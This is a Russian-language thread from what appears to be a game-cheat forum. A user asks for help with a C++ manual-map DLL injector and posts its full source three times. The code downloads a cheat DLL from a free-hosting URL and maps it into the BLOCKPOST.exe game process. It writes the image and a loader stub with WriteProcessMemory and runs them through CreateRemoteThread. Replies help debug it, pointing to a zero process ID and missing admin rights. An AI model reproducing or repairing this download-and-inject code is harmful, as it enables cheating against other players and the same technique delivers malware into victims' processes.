На самом деле я Zodiak
-
Автор темы
- #1
Пожалуйста, авторизуйтесь для просмотра ссылки.
Это с моей стороны проблема или с сервисом что то ?Исключения нужно обрабатывать, конкретно тут ошибка парсинга json.Это с моей стороны проблема
Исключения нужно обрабатывать, конкретно тут ошибка парсинга json.
Оберни вызов авторизации в try catch, так хотя бы можно выводить нормальную ошибку, а не падать.
Так сайт вообще не работает, его даже не оплатили.Пожалуйста, авторизуйтесь для просмотра ссылки.Это с моей стороны проблема или с сервисом что то ?
Если делать софт по уму, то зачем вообще полагаться на какие то сторонние системы?Так сайт вообще не работает, его даже не оплатили.
все работает, само починилось, со стороны сервиса все прекрасно, только мне нужна помощь с инжектором :(все работает
#include <iostream>
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")
#include <Windows.h>
#include <TlHelp32.h>
using namespace std;
typedef HMODULE(__stdcall* pLoadLibraryA)(LPCSTR);
typedef FARPROC(__stdcall* pGetProcAddress)(HMODULE, LPCSTR);
typedef INT(__stdcall* dllmain)(HMODULE, DWORD, LPVOID);
struct loaderdata
{
LPVOID ImageBase;
PIMAGE_NT_HEADERS NtHeaders;
PIMAGE_BASE_RELOCATION BaseReloc;
PIMAGE_IMPORT_DESCRIPTOR ImportDirectory;
pLoadLibraryA fnLoadLibraryA;
pGetProcAddress fnGetProcAddress;
};
DWORD FindProcessId(string processName)
{
PROCESSENTRY32 processInfo;
processInfo.dwSize = sizeof(processInfo);
HANDLE processSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (processSnapshot == INVALID_HANDLE_VALUE)
return 0;
Process32First(processSnapshot, &processInfo);
if (!processName.compare(processInfo.szExeFile))
{
CloseHandle(processSnapshot);
return processInfo.th32ProcessID;
}
while (Process32Next(processSnapshot, &processInfo))
{
if (!processName.compare(processInfo.szExeFile))
{
CloseHandle(processSnapshot);
return processInfo.th32ProcessID;
}
}
CloseHandle(processSnapshot);
return 0;
}
DWORD __stdcall LibraryLoader(LPVOID Memory)
{
loaderdata* LoaderParams = (loaderdata*)Memory;
PIMAGE_BASE_RELOCATION pIBR = LoaderParams->BaseReloc;
DWORD delta = (DWORD)((LPBYTE)LoaderParams->ImageBase - LoaderParams->NtHeaders->OptionalHeader.ImageBase); // Calculate the delta
while (pIBR->VirtualAddress)
{
if (pIBR->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))
{
int count = (pIBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PWORD list = (PWORD)(pIBR + 1);
for (int i = 0; i < count; i++)
{
if (list[i])
{
PDWORD ptr = (PDWORD)((LPBYTE)LoaderParams->ImageBase + (pIBR->VirtualAddress + (list[i] & 0xFFF)));
*ptr += delta;
}
}
}
pIBR = (PIMAGE_BASE_RELOCATION)((LPBYTE)pIBR + pIBR->SizeOfBlock);
}
PIMAGE_IMPORT_DESCRIPTOR pIID = LoaderParams->ImportDirectory;
// Resolve DLL imports
while (pIID->Characteristics)
{
PIMAGE_THUNK_DATA OrigFirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)LoaderParams->ImageBase + pIID->OriginalFirstThunk);
PIMAGE_THUNK_DATA FirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)LoaderParams->ImageBase + pIID->FirstThunk);
HMODULE hModule = LoaderParams->fnLoadLibraryA((LPCSTR)LoaderParams->ImageBase + pIID->Name);
if (!hModule)
return FALSE;
while (OrigFirstThunk->u1.AddressOfData)
{
if (OrigFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// Import by ordinal
DWORD Function = (DWORD)LoaderParams->fnGetProcAddress(hModule,
(LPCSTR)(OrigFirstThunk->u1.Ordinal & 0xFFFF));
if (!Function)
return FALSE;
FirstThunk->u1.Function = Function;
}
else
{
// Import by name
PIMAGE_IMPORT_BY_NAME pIBN = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)LoaderParams->ImageBase + OrigFirstThunk->u1.AddressOfData);
DWORD Function = (DWORD)LoaderParams->fnGetProcAddress(hModule, (LPCSTR)pIBN->Name);
if (!Function)
return FALSE;
FirstThunk->u1.Function = Function;
}
OrigFirstThunk++;
FirstThunk++;
}
pIID++;
}
if (LoaderParams->NtHeaders->OptionalHeader.AddressOfEntryPoint)
{
dllmain EntryPoint = (dllmain)((LPBYTE)LoaderParams->ImageBase + LoaderParams->NtHeaders->OptionalHeader.AddressOfEntryPoint);
return EntryPoint((HMODULE)LoaderParams->ImageBase, DLL_PROCESS_ATTACH, NULL); // Call the entry point
}
return TRUE;
}
DWORD __stdcall stub()
{
return 0;
}
void zakachka_dll()
{
URLDownloadToFile(NULL, "well-appointed-bore.000webhostapp.com/BlockpostHack.dll", "С:\\Program Files (x86)\\Steam\\BlockpostHACK.dll", 0, 0);
}
int inject_hack()
{
zakachka_dll();
// Target Dll
LPCSTR Dll = "С:\\Program Files (x86)\\Steam\\BlockpostHACK.dll";
DWORD ProcessId = FindProcessId("BLOCKPOST.exe");
loaderdata LoaderParams;
HANDLE hFile = CreateFileA(Dll, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL); // Open the DLL
DWORD FileSize = GetFileSize(hFile, NULL);
PVOID FileBuffer = VirtualAlloc(NULL, FileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Read the DLL
ReadFile(hFile, FileBuffer, FileSize, NULL, NULL);
// Target Dll's DOS Header
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)FileBuffer;
// Target Dll's NT Headers
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileBuffer + pDosHeader->e_lfanew);
// Opening target process.
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
// Allocating memory for the DLL
PVOID ExecutableImage = VirtualAllocEx(hProcess, NULL, pNtHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Copy the headers to target process
WriteProcessMemory(hProcess, ExecutableImage, FileBuffer,
pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);
// Target Dll's Section Header
PIMAGE_SECTION_HEADER pSectHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1);
// Copying sections of the dll to the target process
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
WriteProcessMemory(hProcess, (PVOID)((LPBYTE)ExecutableImage + pSectHeader[i].VirtualAddress),
(PVOID)((LPBYTE)FileBuffer + pSectHeader[i].PointerToRawData), pSectHeader[i].SizeOfRawData, NULL);
}
// Allocating memory for the loader code.
PVOID LoaderMemory = VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE); // Allocate memory for the loader code
LoaderParams.ImageBase = ExecutableImage;
LoaderParams.NtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)ExecutableImage + pDosHeader->e_lfanew);
LoaderParams.BaseReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)ExecutableImage
+ pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
LoaderParams.ImportDirectory = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)ExecutableImage
+ pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
LoaderParams.fnLoadLibraryA = LoadLibraryA;
LoaderParams.fnGetProcAddress = GetProcAddress;
// Write the loader information to target process
WriteProcessMemory(hProcess, LoaderMemory, &LoaderParams, sizeof(loaderdata),
NULL);
// Write the loader code to target process
WriteProcessMemory(hProcess, (PVOID)((loaderdata*)LoaderMemory + 1), LibraryLoader,
(DWORD)stub - (DWORD)LibraryLoader, NULL);
// Create a remote thread to execute the loader code
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((loaderdata*)LoaderMemory + 1),
LoaderMemory, 0, NULL);
std::cout << "Address of Loader: " << std::hex << LoaderMemory << std::endl;
std::cout << "Address of Image: " << std::hex << ExecutableImage << std::endl;
// Wait for the loader to finish executing
WaitForSingleObject(hThread, INFINITE);
std::cin.get();
// free the allocated loader code
VirtualFreeEx(hProcess, LoaderMemory, 0, MEM_RELEASE);
return 0;
}
ДА ебаться... замени инжект... это дело 5 секундвсе работает, само починилось, со стороны сервиса все прекрасно, только мне нужна помощь с инжектором :(
Пожалуйста, авторизуйтесь для просмотра ссылки.
Вот ошибка
код инжектора
C++:#include <iostream> #include <urlmon.h> #pragma comment(lib, "urlmon.lib") #include <Windows.h> #include <TlHelp32.h> using namespace std; typedef HMODULE(__stdcall* pLoadLibraryA)(LPCSTR); typedef FARPROC(__stdcall* pGetProcAddress)(HMODULE, LPCSTR); typedef INT(__stdcall* dllmain)(HMODULE, DWORD, LPVOID); struct loaderdata { LPVOID ImageBase; PIMAGE_NT_HEADERS NtHeaders; PIMAGE_BASE_RELOCATION BaseReloc; PIMAGE_IMPORT_DESCRIPTOR ImportDirectory; pLoadLibraryA fnLoadLibraryA; pGetProcAddress fnGetProcAddress; }; DWORD FindProcessId(string processName) { PROCESSENTRY32 processInfo; processInfo.dwSize = sizeof(processInfo); HANDLE processSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (processSnapshot == INVALID_HANDLE_VALUE) return 0; Process32First(processSnapshot, &processInfo); if (!processName.compare(processInfo.szExeFile)) { CloseHandle(processSnapshot); return processInfo.th32ProcessID; } while (Process32Next(processSnapshot, &processInfo)) { if (!processName.compare(processInfo.szExeFile)) { CloseHandle(processSnapshot); return processInfo.th32ProcessID; } } CloseHandle(processSnapshot); return 0; } DWORD __stdcall LibraryLoader(LPVOID Memory) { loaderdata* LoaderParams = (loaderdata*)Memory; PIMAGE_BASE_RELOCATION pIBR = LoaderParams->BaseReloc; DWORD delta = (DWORD)((LPBYTE)LoaderParams->ImageBase - LoaderParams->NtHeaders->OptionalHeader.ImageBase); // Calculate the delta while (pIBR->VirtualAddress) { if (pIBR->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) { int count = (pIBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); PWORD list = (PWORD)(pIBR + 1); for (int i = 0; i < count; i++) { if (list[i]) { PDWORD ptr = (PDWORD)((LPBYTE)LoaderParams->ImageBase + (pIBR->VirtualAddress + (list[i] & 0xFFF))); *ptr += delta; } } } pIBR = (PIMAGE_BASE_RELOCATION)((LPBYTE)pIBR + pIBR->SizeOfBlock); } PIMAGE_IMPORT_DESCRIPTOR pIID = LoaderParams->ImportDirectory; // Resolve DLL imports while (pIID->Characteristics) { PIMAGE_THUNK_DATA OrigFirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)LoaderParams->ImageBase + pIID->OriginalFirstThunk); PIMAGE_THUNK_DATA FirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)LoaderParams->ImageBase + pIID->FirstThunk); HMODULE hModule = LoaderParams->fnLoadLibraryA((LPCSTR)LoaderParams->ImageBase + pIID->Name); if (!hModule) return FALSE; while (OrigFirstThunk->u1.AddressOfData) { if (OrigFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) { // Import by ordinal DWORD Function = (DWORD)LoaderParams->fnGetProcAddress(hModule, (LPCSTR)(OrigFirstThunk->u1.Ordinal & 0xFFFF)); if (!Function) return FALSE; FirstThunk->u1.Function = Function; } else { // Import by name PIMAGE_IMPORT_BY_NAME pIBN = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)LoaderParams->ImageBase + OrigFirstThunk->u1.AddressOfData); DWORD Function = (DWORD)LoaderParams->fnGetProcAddress(hModule, (LPCSTR)pIBN->Name); if (!Function) return FALSE; FirstThunk->u1.Function = Function; } OrigFirstThunk++; FirstThunk++; } pIID++; } if (LoaderParams->NtHeaders->OptionalHeader.AddressOfEntryPoint) { dllmain EntryPoint = (dllmain)((LPBYTE)LoaderParams->ImageBase + LoaderParams->NtHeaders->OptionalHeader.AddressOfEntryPoint); return EntryPoint((HMODULE)LoaderParams->ImageBase, DLL_PROCESS_ATTACH, NULL); // Call the entry point } return TRUE; } DWORD __stdcall stub() { return 0; } void zakachka_dll() { URLDownloadToFile(NULL, "well-appointed-bore.000webhostapp.com/BlockpostHack.dll", "С:\\Program Files (x86)\\Steam\\BlockpostHACK.dll", 0, 0); } int inject_hack() { zakachka_dll(); // Target Dll LPCSTR Dll = "С:\\Program Files (x86)\\Steam\\BlockpostHACK.dll"; DWORD ProcessId = FindProcessId("BLOCKPOST.exe"); loaderdata LoaderParams; HANDLE hFile = CreateFileA(Dll, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); // Open the DLL DWORD FileSize = GetFileSize(hFile, NULL); PVOID FileBuffer = VirtualAlloc(NULL, FileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Read the DLL ReadFile(hFile, FileBuffer, FileSize, NULL, NULL); // Target Dll's DOS Header PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)FileBuffer; // Target Dll's NT Headers PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileBuffer + pDosHeader->e_lfanew); // Opening target process. HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); // Allocating memory for the DLL PVOID ExecutableImage = VirtualAllocEx(hProcess, NULL, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Copy the headers to target process WriteProcessMemory(hProcess, ExecutableImage, FileBuffer, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL); // Target Dll's Section Header PIMAGE_SECTION_HEADER pSectHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1); // Copying sections of the dll to the target process for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) { WriteProcessMemory(hProcess, (PVOID)((LPBYTE)ExecutableImage + pSectHeader[i].VirtualAddress), (PVOID)((LPBYTE)FileBuffer + pSectHeader[i].PointerToRawData), pSectHeader[i].SizeOfRawData, NULL); } // Allocating memory for the loader code. PVOID LoaderMemory = VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Allocate memory for the loader code LoaderParams.ImageBase = ExecutableImage; LoaderParams.NtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)ExecutableImage + pDosHeader->e_lfanew); LoaderParams.BaseReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)ExecutableImage + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); LoaderParams.ImportDirectory = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)ExecutableImage + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); LoaderParams.fnLoadLibraryA = LoadLibraryA; LoaderParams.fnGetProcAddress = GetProcAddress; // Write the loader information to target process WriteProcessMemory(hProcess, LoaderMemory, &LoaderParams, sizeof(loaderdata), NULL); // Write the loader code to target process WriteProcessMemory(hProcess, (PVOID)((loaderdata*)LoaderMemory + 1), LibraryLoader, (DWORD)stub - (DWORD)LibraryLoader, NULL); // Create a remote thread to execute the loader code HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((loaderdata*)LoaderMemory + 1), LoaderMemory, 0, NULL); std::cout << "Address of Loader: " << std::hex << LoaderMemory << std::endl; std::cout << "Address of Image: " << std::hex << ExecutableImage << std::endl; // Wait for the loader to finish executing WaitForSingleObject(hThread, INFINITE); std::cin.get(); // free the allocated loader code VirtualFreeEx(hProcess, LoaderMemory, 0, MEM_RELEASE); return 0; }
у тебя ProcessId равен нулю, мог бы и посмотреть на значения аргументов снизу, прежде чем кидать эту проблему сюдавсе работает, само починилось, со стороны сервиса все прекрасно, только мне нужна помощь с инжектором :(
Пожалуйста, авторизуйтесь для просмотра ссылки.
Вот ошибка
код инжектора
C++:#include <iostream> #include <urlmon.h> #pragma comment(lib, "urlmon.lib") #include <Windows.h> #include <TlHelp32.h> using namespace std; typedef HMODULE(__stdcall* pLoadLibraryA)(LPCSTR); typedef FARPROC(__stdcall* pGetProcAddress)(HMODULE, LPCSTR); typedef INT(__stdcall* dllmain)(HMODULE, DWORD, LPVOID); struct loaderdata { LPVOID ImageBase; PIMAGE_NT_HEADERS NtHeaders; PIMAGE_BASE_RELOCATION BaseReloc; PIMAGE_IMPORT_DESCRIPTOR ImportDirectory; pLoadLibraryA fnLoadLibraryA; pGetProcAddress fnGetProcAddress; }; DWORD FindProcessId(string processName) { PROCESSENTRY32 processInfo; processInfo.dwSize = sizeof(processInfo); HANDLE processSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (processSnapshot == INVALID_HANDLE_VALUE) return 0; Process32First(processSnapshot, &processInfo); if (!processName.compare(processInfo.szExeFile)) { CloseHandle(processSnapshot); return processInfo.th32ProcessID; } while (Process32Next(processSnapshot, &processInfo)) { if (!processName.compare(processInfo.szExeFile)) { CloseHandle(processSnapshot); return processInfo.th32ProcessID; } } CloseHandle(processSnapshot); return 0; } DWORD __stdcall LibraryLoader(LPVOID Memory) { loaderdata* LoaderParams = (loaderdata*)Memory; PIMAGE_BASE_RELOCATION pIBR = LoaderParams->BaseReloc; DWORD delta = (DWORD)((LPBYTE)LoaderParams->ImageBase - LoaderParams->NtHeaders->OptionalHeader.ImageBase); // Calculate the delta while (pIBR->VirtualAddress) { if (pIBR->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) { int count = (pIBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); PWORD list = (PWORD)(pIBR + 1); for (int i = 0; i < count; i++) { if (list[i]) { PDWORD ptr = (PDWORD)((LPBYTE)LoaderParams->ImageBase + (pIBR->VirtualAddress + (list[i] & 0xFFF))); *ptr += delta; } } } pIBR = (PIMAGE_BASE_RELOCATION)((LPBYTE)pIBR + pIBR->SizeOfBlock); } PIMAGE_IMPORT_DESCRIPTOR pIID = LoaderParams->ImportDirectory; // Resolve DLL imports while (pIID->Characteristics) { PIMAGE_THUNK_DATA OrigFirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)LoaderParams->ImageBase + pIID->OriginalFirstThunk); PIMAGE_THUNK_DATA FirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)LoaderParams->ImageBase + pIID->FirstThunk); HMODULE hModule = LoaderParams->fnLoadLibraryA((LPCSTR)LoaderParams->ImageBase + pIID->Name); if (!hModule) return FALSE; while (OrigFirstThunk->u1.AddressOfData) { if (OrigFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) { // Import by ordinal DWORD Function = (DWORD)LoaderParams->fnGetProcAddress(hModule, (LPCSTR)(OrigFirstThunk->u1.Ordinal & 0xFFFF)); if (!Function) return FALSE; FirstThunk->u1.Function = Function; } else { // Import by name PIMAGE_IMPORT_BY_NAME pIBN = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)LoaderParams->ImageBase + OrigFirstThunk->u1.AddressOfData); DWORD Function = (DWORD)LoaderParams->fnGetProcAddress(hModule, (LPCSTR)pIBN->Name); if (!Function) return FALSE; FirstThunk->u1.Function = Function; } OrigFirstThunk++; FirstThunk++; } pIID++; } if (LoaderParams->NtHeaders->OptionalHeader.AddressOfEntryPoint) { dllmain EntryPoint = (dllmain)((LPBYTE)LoaderParams->ImageBase + LoaderParams->NtHeaders->OptionalHeader.AddressOfEntryPoint); return EntryPoint((HMODULE)LoaderParams->ImageBase, DLL_PROCESS_ATTACH, NULL); // Call the entry point } return TRUE; } DWORD __stdcall stub() { return 0; } void zakachka_dll() { URLDownloadToFile(NULL, "well-appointed-bore.000webhostapp.com/BlockpostHack.dll", "С:\\Program Files (x86)\\Steam\\BlockpostHACK.dll", 0, 0); } int inject_hack() { zakachka_dll(); // Target Dll LPCSTR Dll = "С:\\Program Files (x86)\\Steam\\BlockpostHACK.dll"; DWORD ProcessId = FindProcessId("BLOCKPOST.exe"); loaderdata LoaderParams; HANDLE hFile = CreateFileA(Dll, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); // Open the DLL DWORD FileSize = GetFileSize(hFile, NULL); PVOID FileBuffer = VirtualAlloc(NULL, FileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Read the DLL ReadFile(hFile, FileBuffer, FileSize, NULL, NULL); // Target Dll's DOS Header PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)FileBuffer; // Target Dll's NT Headers PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileBuffer + pDosHeader->e_lfanew); // Opening target process. HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); // Allocating memory for the DLL PVOID ExecutableImage = VirtualAllocEx(hProcess, NULL, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Copy the headers to target process WriteProcessMemory(hProcess, ExecutableImage, FileBuffer, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL); // Target Dll's Section Header PIMAGE_SECTION_HEADER pSectHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1); // Copying sections of the dll to the target process for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) { WriteProcessMemory(hProcess, (PVOID)((LPBYTE)ExecutableImage + pSectHeader[i].VirtualAddress), (PVOID)((LPBYTE)FileBuffer + pSectHeader[i].PointerToRawData), pSectHeader[i].SizeOfRawData, NULL); } // Allocating memory for the loader code. PVOID LoaderMemory = VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Allocate memory for the loader code LoaderParams.ImageBase = ExecutableImage; LoaderParams.NtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)ExecutableImage + pDosHeader->e_lfanew); LoaderParams.BaseReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)ExecutableImage + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); LoaderParams.ImportDirectory = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)ExecutableImage + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); LoaderParams.fnLoadLibraryA = LoadLibraryA; LoaderParams.fnGetProcAddress = GetProcAddress; // Write the loader information to target process WriteProcessMemory(hProcess, LoaderMemory, &LoaderParams, sizeof(loaderdata), NULL); // Write the loader code to target process WriteProcessMemory(hProcess, (PVOID)((loaderdata*)LoaderMemory + 1), LibraryLoader, (DWORD)stub - (DWORD)LibraryLoader, NULL); // Create a remote thread to execute the loader code HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((loaderdata*)LoaderMemory + 1), LoaderMemory, 0, NULL); std::cout << "Address of Loader: " << std::hex << LoaderMemory << std::endl; std::cout << "Address of Image: " << std::hex << ExecutableImage << std::endl; // Wait for the loader to finish executing WaitForSingleObject(hThread, INFINITE); std::cin.get(); // free the allocated loader code VirtualFreeEx(hProcess, LoaderMemory, 0, MEM_RELEASE); return 0; }
то есть он не нашел процесс получаетсяу тебя ProcessId равен нулю, мог бы и посмотреть на значения аргументов снизу, прежде чем кидать эту проблему сюда
Ты уверен что айди процесса верный?Посмотреть вложение 190121
на данный момент айди процесса он нашел
по твоему если ид процесса неверный, приложение уйдет в краш?Ты уверен что айди процесса верный?
ну если он отлаживает свою программу то вероятно ему покажет что именно уходит в брякпо твоему если ид процесса неверный, приложение уйдет в краш?
проблема в том что он находит процесс, но игра крашит и он выдаёт ошибку, точно не длл иссуену если он отлаживает свою программу то вероятно ему покажет что именно уходит в бряк
и в данном случае опенпроцесс, исходя из того что опенпроцесс врятле просто так не может работать делаем вывод что либо нужно запуститься от админа либо процессайди неверный
короче я попробовал запустить от админа релиз версию, все заработало, но есть одно но так сказатьну если он отлаживает свою программу то вероятно ему покажет что именно уходит в бряк
и в данном случае опенпроцесс, исходя из того что опенпроцесс врятле просто так не может работать делаем вывод что либо нужно запуститься от админа либо процессайди неверный
сука я так ору сижу с этого говна ахахахавха
Проект предоставляет различный материал, относящийся к сфере киберспорта, программирования, ПО для игр, а также позволяет его участникам общаться на многие другие темы. Почта для жалоб: admin@yougame.biz